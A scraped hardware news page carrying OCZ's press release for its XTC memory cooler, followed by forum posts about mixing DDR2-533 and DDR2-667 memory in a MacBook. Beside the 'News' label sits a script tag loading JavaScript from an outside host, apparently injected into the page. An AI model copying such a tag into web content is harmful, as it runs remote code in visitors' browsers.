OCZ Technology Unveils the XTC Memory Cooler

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 18/11/2006
Author: PV5150
Source: OCZ Technology

As active cooling becomes increasingly important for today’s high-speed memory solutions, OCZ developed the XTC Cooler for effective heat management of OCZ’s proprietary XTC (Xtreme Thermal Convection) modules.

Once installed over the memory subsystem, the XTC Cooler’s dual 60mm fans channel a steady flow of air over and through the XTC modules creating a cooler environment for the memory ICs. For the overclocking enthusiast accustomed to awkwardly propping up case fans, the aluminum-based XTC Cooler is the ultimate air cooling solution.

“To address the requirements of extreme overclockers OCZ is releasing the new XTC cooler which is designed to pair up with the Xtreme Thermal Convection heatspreaders utilized on our entire lineup of premium memory solutions,” commented Alex Mei, OCZ Technology Group, Inc. “This cooler forces airflow through our open Xtreme Thermal Convection heatspreader design to offload even more heat from the entire module array, thus enhancing both stability and performance of the memory, especially when aggressively overclocking.”

Though optimized for use with OCZ’s XTC heatspreaders that come with all OCZ high-performance modules, the XTC Cooler is a beneficial cooling aid for all system memory. Thanks to superior active cooling, the XTC Cooler improves memory performance and longevity for ultimate reliability in desktops to high-end gaming systems. The OCZ XTC Cooler is backed by a 1 year warranty and industry-leading technical support. Pricing at this point is unknown.

Find out more about the XTC Cooler here

OCZ XTC Cooler

XTC Cooler

Feel free to discuss this product in our forum

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17-11-2006, 08:51:37

shiftlocked
I just found some spare ddr2 lying about (as you do) and want to us it in my mac book, The only problem is that the memory installed is 667 ddr 2 and this stuff is 533.

Will the new stuff work and will it make that much of an impact running it at a slower speed

17-11-2006, 09:18:12

Jim
[quote=shiftlocked]I just found some spare ddr2 lying about (as you do) and want to us it in my mac book, The only problem is that the memory installed is 667 ddr 2 and this stuff is 533.

Will the new stuff work and will it make that much of an impact running it at a slower speed[/quote]

It will most likely clock your 667 ram down to 533. I cant imagine you'll see much difference unless you are gaming on or benching you mac :p So the extra mem will probably be more beneficial.

17-11-2006, 09:47:02

FragTek
It is a SODIMM correct? Just making sure that you know that laptops don't use regular size DIMM's.

17-11-2006, 10:22:51

shiftlocked
Well just gave it a go...
and i can confirm that i believe you have have memory at the same freq as the origunal mem

Just gave it a go here and nothign was deteced using adata ddr2 533 mem sticks :-(
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